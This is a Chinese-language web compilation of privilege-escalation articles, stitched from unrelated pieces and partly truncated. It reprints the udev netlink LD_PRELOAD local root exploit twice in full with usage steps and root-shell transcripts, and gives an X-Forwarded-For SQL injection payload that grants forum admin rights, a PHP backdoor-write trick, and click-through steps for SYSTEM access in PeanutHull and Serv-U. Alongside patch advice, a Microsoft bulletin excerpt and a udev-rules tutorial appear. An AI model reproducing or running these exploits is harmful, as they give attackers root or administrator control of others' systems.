下面是小编收集整理的udev漏洞提升(共含9篇),仅供参考,希望能够帮助到大家。同时,但愿您也能像本文投稿人“猫咪的号禁了”一样,积极向本站投稿分享好文章。
暴露出udev权限提示的漏洞,只要有普通用户权限,即可提升到root权限,实验了一把,果真很容易提升,
把下面代码保存为test.sh文件
#!/bin/sh
# Linux 2.6
# bug found by Sebastian Krahmer
#
# lame sploit using LD technique
# by kcope in
# tested on debian-etch,ubuntu,gentoo
# do a ‘cat /proc/net/netlink’
# and set the first arg to this
# script. to the pid of the netlink socket
# (the pid is udevd_pid C 1 most of the time)
# + sploit has to be UNIX formatted text
# + if it doesn’t work the 1st time try more often
#
# WARNING: maybe needs some FIXUP to work flawlessly
## greetz fly out to alex,andi,adize,wY!,revo,j! and the gang
cat > udev.c << _EOF
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#ifndef NETLINK_KOBJECT_UEVENT
#define NETLINK_KOBJECT_UEVENT 15
#endif
#define SHORT_STRING 64
#define MEDIUM_STRING 128
#define BIG_STRING 256
#define LONG_STRING 1024
#define EXTRALONG_STRING 4096
#define TRUE 1
#define FALSE 0
int socket_fd;
struct sockaddr_nl address;
struct msghdr msg;
struct iovec iovector;
int sz = 64*1024;
main(int argc, char **argv) {
char sysfspath[SHORT_STRING];
char subsystem[SHORT_STRING];
char event[SHORT_STRING];
char major[SHORT_STRING];
char minor[SHORT_STRING];
sprintf(event, “add”);
sprintf(subsystem, “block”);
sprintf(sysfspath, “/dev/foo”);
sprintf(major, “8″);
sprintf(minor, “1″);
memset(&address, 0, sizeof(address));
address.nl_family = AF_NETLINK;
address.nl_pid = atoi(argv[1]);
address.nl_groups = 0;
msg.msg_name = (void*)&address;
msg.msg_namelen = sizeof(address);
msg.msg_iov = &iovector;
msg.msg_iovlen = 1;
socket_fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
bind(socket_fd, (struct sockaddr *) &address, sizeof(address));
char message[LONG_STRING];
char *mp;
mp = message;
mp += sprintf(mp, “%s@%s”, event, sysfspath) +1;
mp += sprintf(mp, “ACTION=%s”, event) +1;
mp += sprintf(mp, “DEVPATH=%s”, sysfspath) +1;
mp += sprintf(mp, “MAJOR=%s”, major) +1;
mp += sprintf(mp, “MINOR=%s”, minor) +1;
mp += sprintf(mp, “SUBSYSTEM=%s”, subsystem) +1;
mp += sprintf(mp, “LD_PRELOAD=/tmp/libno_ex.so.1.0″) +1;
iovector.iov_base = (void*)message;
iovector.iov_len = (int)(mp-message);
char *buf;
int buflen;
buf = (char *) &msg;
buflen = (int)(mp-message);
sendmsg(socket_fd, &msg, 0);
close(socket_fd);
sleep(10);
// execl(”/tmp/suid”, “suid”, (void*)0);
}
_EOF
gcc udev.c -o /tmp/udev
cat > program.c << _EOF
#include
#include
#include
#include
#include
void _init
{
setgid(0);
setuid(0);
unsetenv(”LD_PRELOAD”);
// execl(”/bin/sh”,”sh”,”-c”,”chown root:root /tmp/suid; chmod +s /tmp/suid”,NULL);
chown(”/tmp/suid”,0,0);
chmod(”/tmp/suid”,S_IRUSR|S_IWUSR|S_ISUID|S_IXUSR|S_IROTH|S_IXOTH);
}
_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles
cat > suid.c << _EOF
int main(void) {
setgid(0); setuid(0);
execl(”/bin/sh”,”sh”,0); }
_EOF
gcc -o /tmp/suid suid.c
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
/tmp/udev $1
# milw0rm.com [2009-04-20]
/tmp/suid
然后执行几个简单操作即可由普通用户提升至root了
[test@sbear-cn test]$ id
uid=500(test) gid=500(test) groups=500(test)
[test@sbear-cn test]$ ps -ef|grep udev
root 502 1 0 13:04 ? 00:00:00 /sbin/udevd -d //查看目前udevd服务的id号
test 2635 2564 0 13:07 pts/0 00:00:00 grep udev
[test@sbear-cn test]$ sh test.sh 501 //udevd的id号减1,即502-1 = 501
suid.c: In function ‘main’:
suid.c:3: warning: incompatible implicit declaration of built-in function ‘execl’
sh-3.2# id
uid=0(root) gid=0(root) groups=500(test) //获取到root权限了
sh-3.2# ls /root/
anaconda-ks.cfg
sh-3.2#
赶紧升级你的udev吧
www.milw0rm.com/exploits/8478
职业欠钱
这段时间UDEV溢出漏洞很火,在虚拟机上做了下试验,发现确实很好用,
貌似通杀范围很广
1. 将/Article/200904/37558.html 保存为一个shell文件,也可以随便命名,例如我后面命名为a
2. 查找udev的第一个socket的PID,可以通过执行如下命令获得:
cat /proc/net/netlink
3. 将出现在第一行的PID减去1,作为参数,例如
sk Eth Pid Groups Rmem Wmem Dump Locks
cfe9ce00 0 0 00000000 0 0 00000000
这个PID是0,减去1后得到-1
4. sh a -1 (如果失败了,多执行几次)
下面是一次成功的演示(我失败了N次,本来以为系统不受影响的,后来听说2.6内核的都受影响,所以多尝试了几次,忽然间看到一个可爱的#,激动)
bt tmp $ cat /proc/net/netlink
sk Eth Pid Groups Rmem Wmem Dump Locks
cfe9ce00 0 0 00000000 0 0 00000000 2
cf8f3800 6 0 00000000 0 0 00000000 2
cfa96400 8 0 00000000 0 0 00000000 2
cfe13000 10 0 00000000 0 0 00000000 2
cff57c00 12 0 00000000 0 0 00000000 2
cfe9cc00 15 0 00000000 0 0 00000000 2
cff57600 15 1060 00000001 0 0 00000000 2
c12a3000 16 0 00000000 0 0 00000000 2
c12a3200 18 0 00000000 0 0 00000000 2
bt tmp $ sh a -1
suid.c: In function 'main':
suid.c:3: warning: incompatible implicit declaration of built-in function 'execl'
/usr/lib/gcc/i486-slackware-linux/4.1.2/../../../../i486-slackware-linux/bin/ld: cannot open output file /tmp/suid: Permission denied
collect2: ld returned 1 exit status
cp: `libno_ex.so.1.0' and `/tmp/libno_ex.so.1.0' are the same file
sh-3.1# id
uid=0(root) gid=0(root) groups=10(wheel)
sh-3.1# uname -a
Linux bt 2.6.21.5 #4 SMP Thu Apr 10 04:23:56 GMT i686 Intel(R) Pentium(R) Dual CPU E2140 @ 1.60GHz GenuineIntel GNU/Linux
------------------------郁闷的分割线----------------------------------------------------------------------
后来又反复测试了几十次,才能够再成功一次,
bt test $ bash b -1
suid.c: In function 'main':
suid.c:3: warning: incompatible implicit declaration of built-in function 'execl'
sh-3.1$ exit -----------> 又失败了
exit
bt test $ bash b -1
suid.c: In function 'main':
suid.c:3: warning: incompatible implicit declaration of built-in function 'execl'
sh-3.1# ---------------> 成功
code:
passport_client.php
function Loginipwrite($winduid){
global $db,$timestamp,$onlineip;
$logininfo=“$onlineip|$timestamp|6”;
$db->update(
“UPDATE pw_user SET lastvisit=thisvisit,thisvisit=''$timestamp'',onlineip=''$logininfo'' WHERE uid=''$winduid''”);
}
再看$onlineip是怎么来的
Global.php
if($_SERVER[''HTTP_CLIENT_IP'']){
$onlineip=$_SERVER[''HTTP_CLIENT_IP''];
}elseif($_SERVER[''HTTP_X_FORWARDED_FOR'']){
$onlineip=$_SERVER[''HTTP_X_FORWARDED_FOR''];
}else{
$onlineip=$_SERVER[''REMOTE_ADDR''];
}
$onlineip =substrs($onlineip,16);
十六个字节,够提升权限的了吧?
抓包提交
HTTP_X_FORWARDED_FOR: '',groupid=3,/*
嘎嘎,每个人都成了管理员鸟
另外还有一点非常非常鸡肋的问题,在php.ini中若short_open_tag = off时可以得到shell
看 register.php中的一段代码
if($rg_allowsameip){
if(file_exists(D_P.'data/cache/ip_cache.php')){
writeover(D_P.'data/cache/ip_cache.php',“<$onlineip>”,“ab”);
}else{
writeover(D_P.'data/cache/ip_cache.php',“<$onlineip>”);
}
}
我们注册的时候抓包提交 HTTP_X_FORWARDED_FOR 为 ?require($a);?
data/cache/ip_cache.php就变成了这样的形式
……
在php.ini中若short_open_tag = off, die 就可以被饶过,从而执行我们的后门,
verycms2.0权限提升漏洞
,
花生壳本地权限提升漏洞by Sowhat最后更新:.09.24英文: secway.org/advisory/AD20050720EN.txt中文: secway.org/advisory/AD20050720CN.txtCVE:CAN-2005-2382BID:14330受影响的产品:PeanutHull <= 3.0.1.0 综述:网域科技号称全球最大的DDNS(动态域名)提供商,花生壳是它们提供的客户端详细信息,可以查看www.oray.net具体细节:该漏洞主要是由于花生壳客户端系统图标没有正确的丢弃SYSTEM权限。本地非特权用户可以通过访问系统图标来以SYSTEM权限执行任意命令。Exploit:1. 双击任务栏花生壳图标,打开花生壳窗口2. 单击“帮助”,打开“论坛”3. 在跳出的IE地址栏中输入C:4. 切换到%WINDIR%System325. 单击打开cmd.exe6. 此时打开的cmd.exe以SYSTEM权限运行成功利用此漏洞可以获取SYSTEM权限厂商回复:2005.07.13 通过EMAIL通知厂商,2005.07.14 厂商回复称将在3.0正式版中修复这个问题 2005.07.20 花生壳3.0正式版发布2005.07.20 此公告发布更新:Secunia在验证此漏洞时的发现,最新的3.0.1.0版依然存在此缺陷。本地用户可以通过发送SW_SHOW消息来调出花生壳窗口,进而提升权限。2005.07.21 测试代码公布Exploit:secway.org/exploit/PeanutHull_Local.rar解决方案:暂无请使用花生壳的用户限制普通用户的访问并时刻关注网域科技的补丁
受影响系统:
RhinoSoftServ-U5.1.0.0
RhinoSoftServ-U5.0.0.9
RhinoSoftServ-U5.0.0.4
RhinoSoftServ-U5.0
RhinoSoftServ-U4.1.0.3
RhinoSoftServ-U4.1.0.11
RhinoSoftServ-U4.0.0.4
RhinoSoftServ-U4.0.0.0
RhinoSoftServ-U3.0.0.20
描述:
--------------------------------------------------------------------------------
Serv-U是一个Windows平台下使用非常广泛的FTP服务器软件,
ServU本地权限提升漏洞
,
Serv-U存在设计问题,本地攻击者可以利用这个漏洞以SYSTEM权限在系统上执行任意命令。
所有Serv-U存在默认本地管理员登录密码,这帐户只能在本地接口中连接,因此本地攻击者可以连接Serv-U并建立拥有执行权限的FTP用户,在这个用户建立后,连接FTP服务器并执行“SITEEXEC”命令,程序就会以SYSTEM权限执行。
链接:marc.theaimsgroup.com/?l=full-disclosure
Linux的udev程序再爆本地提权漏洞,本地用户可以轻易获得root权限,请立即更新udev程序,(2.4内核系统不受影响)
修复方法(修复前请备份重要数据):
debian用户请执行apt-get update ; apt-get upgrade -y
centos用户请执行yum update udev
RedHat用户请使用官方rpm包更新或者购买RedHat的satellite服务。
攻击效果展示:
libuuid@debian:~$ sh a 890
sh-3.1# id
uid=0(root) gid=0(root) groups=105(libuuid)
sh-3.1# cat /etc/debian_version
lenny/sid
sh-3.1# dpkg -l | grep udev
ii udev 0.114-2 /dev/ and hotplug management daemon
现在确认的是此攻击方式对Debian和Ubuntu相当有效,对RedHat的攻击效果有待确认。
最新战况请查阅 baoz.net/linux-udev-exploit/
EXP:
#!/bin/sh
# Linux 2.6
# bug found by Sebastian Krahmer
#
# lame sploit using LD technique
# by kcope in
# tested on debian-etch,ubuntu,gentoo
# do a 'cat /proc/net/netlink'
# and set the first arg to this
# script. to the pid of the netlink socket
# (the pid is udevd_pid - 1 most of the time)
# + sploit has to be UNIX formatted text :)
# + if it doesn't work the 1st time try more often
#
# WARNING: maybe needs some FIXUP to work flawlessly
## greetz fly out to alex,andi,adize,wY!,revo,j! and the gang
cat > udev.c << _EOF
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#ifndef NETLINK_KOBJECT_UEVENT
#define NETLINK_KOBJECT_UEVENT 15
#endif
#define SHORT_STRING 64
#define MEDIUM_STRING 128
#define BIG_STRING 256
#define LONG_STRING 1024
#define EXTRALONG_STRING 4096
#define TRUE 1
#define FALSE 0
int socket_fd;
struct sockaddr_nl address;
struct msghdr msg;
struct iovec iovector;
int sz = 64*1024;
main(int argc, char **argv) {
char sysfspath[SHORT_STRING];
char subsystem[SHORT_STRING];
char event[SHORT_STRING];
char major[SHORT_STRING];
char minor[SHORT_STRING];
sprintf(event, “add”);
sprintf(subsystem, “block”);
sprintf(sysfspath, “/dev/foo”);
sprintf(major, “8”);
sprintf(minor, “1”);
memset(&address, 0, sizeof(address));
address.nl_family = AF_NETLINK;
address.nl_pid = atoi(argv[1]);
address.nl_groups = 0;
msg.msg_name = (void*)&address;
msg.msg_namelen = sizeof(address);
msg.msg_iov = &iovector;
msg.msg_iovlen = 1;
socket_fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
bind(socket_fd, (struct sockaddr *) &address, sizeof(address));
char message[LONG_STRING];
char *mp;
mp = message;
mp += sprintf(mp, “%s@%s”, event, sysfspath) +1;
mp += sprintf(mp, “ACTION=%s”, event) +1;
mp += sprintf(mp, “DEVPATH=%s”, sysfspath) +1;
mp += sprintf(mp, “MAJOR=%s”, major) +1;
mp += sprintf(mp, “MINOR=%s”, minor) +1;
mp += sprintf(mp, “SUBSYSTEM=%s”, subsystem) +1;
mp += sprintf(mp, “LD_PRELOAD=/tmp/libno_ex.so.1.0”) +1;
iovector.iov_base = (void*)message;
iovector.iov_len = (int)(mp-message);
char *buf;
int buflen;
buf = (char *) &msg;
buflen = (int)(mp-message);
sendmsg(socket_fd, &msg, 0);
close(socket_fd);
sleep(10);
execl(“/tmp/suid”, “suid”, (void*)0);
}
_EOF
gcc udev.c -o /tmp/udev
cat > program.c << _EOF
#include
#include
#include
#include
void _init
{
setgid(0);
setuid(0);
unsetenv(“LD_PRELOAD”);
execl(“/bin/sh”,“sh”,“-c”,“chown root:root /tmp/suid; chmod +s /tmp/suid”,NULL);
}
_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles
cat > suid.c << _EOF
int main(void) {
setgid(0); setuid(0);
execl(“/bin/sh”,“sh”,0); }
_EOF
gcc -o /tmp/suid suid.c
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
/tmp/udev $1
by Ryat
www.wolvez.org
2009-07-17
天天上班,好久没在论坛发贴了...
以前发过一个php168 v的权限提升漏洞,这次的漏洞也出在相同的代码段
直接给出exp,里面的一些细节还是有些意思的,有兴趣的同学可以自行分析:)
EXP:
#!/usr/bin/php
print_r('
+---------------------------------------------------------------------------+
Php168 v6.0 update user access exploit
by puret_t
mail: p
发布日期: 九月 11,
版本: 1.0
摘要:
此重要安全更新解决了一个公开披露的漏洞, Windows Services for UNIX 3.0、Windows Services for UNIX 3.5 和基于 UNIX 的应用程序子系统中存在一个漏洞,在此运行特定的 setuid 二进制文件可能允许攻击者获得特权提升。
这是针对受支持版本 Windows 、Windows Server 、Windows Services for UNIX 3.0、Windows Services for UNIX 3.5 和基于 UNIX 的应用程序子系统(Windows Server 2003 和 Windows Vista 的一个组件)的重要安全更新。
建议。 Microsoft 建议用户应用此安全更新。
受影响的软件
操作系统组件最大安全影响综合严重程度等级此更新替代的公告
Windows 2000 Service Pack 4
Windows Services for UNIX 3.0
特权提升
重要
无
Windows 2000 Service Pack 4
Windows Services for UNIX 3.5
特权提升
重要
无
Windows XP Service Pack 2
Windows Services for UNIX 3.0
特权提升
重要
无
Windows XP Service Pack 2
Windows Services for UNIX 3.5
特权提升
重要
无
Windows Server 2003 Service Pack 1 和 Windows Server 2003 Service Pack 2
Windows Services for UNIX 3.0
特权提升
重要
无
Windows Server 2003 Service Pack 1 和 Windows Server 2003 Service Pack 2
Windows Services for UNIX 3.5
特权提升
重要
无
Windows Server 2003 Service Pack 1 和 Windows Server 2003 Service Pack 2
基于 UNIX 的应用程序子系统
特权提升
重要
无
Windows Server 2003 x64 Edition 和 Windows Server 2003 x64 Edition Service Pack 2
基于 UNIX 的应用程序子系统
特权提升
重要
无
Window Vista
基于 UNIX 的应用程序子系统
特权提升
重要
无
Windows Vista x64 Edition
基于 UNIX 的应用程序子系统
特权提升
重要
无
不受影响的软件
软件Windows Services for UNIX 1.0
Windows Services for UNIX 2.0
Windows Services for UNIX 2.1
Windows Services for UNIX 2.2
点击阅读更多学院相关文章>>
分享到
本文试图用最简单的语言告诉你怎样在2.6写自己的udev规则 从而可以自己为设备命名 Udev allows you to customise the naming of device nodes. There are two reasons why you might want to do this: convenience, and persistent naming. Default udev rule
本文试图用最简单的语言告诉你怎样在2.6写自己的udev规则 从而可以自己为设备命名Udev allows you to customise the naming of device nodes. There are two reasons why you might want to do this: convenience, and persistent naming.
Default udev rules are stored in/etc/udev/rules.d/50-udev.rules.
You can creat your own rules in a file at/etc/udev/rules.d/10-local.rules
Example:
If I insert my U disk in fedora3 the system will creat a node automatically as /dev/sdb1
then #udevinfo -q path -n /dev/lp0
#/block/sdb/sdb1
then #udevinfo -a -p /sys/class/usb/lp0
You can find a detailed information about this U disk
vi your10-local.rulesaddbo
BUS=“usb”, SYSFS=“0000:00:07.2”, NAME=“U-disk”
You can find that your U disk will be detected as “U-disk”
原文转自:www.ltesting.net
★ 漏洞整改报告
★ 心灵的漏洞作文
★ 提升教学质量
★ 提升计划
★ 反思提升
★ 提升调查报告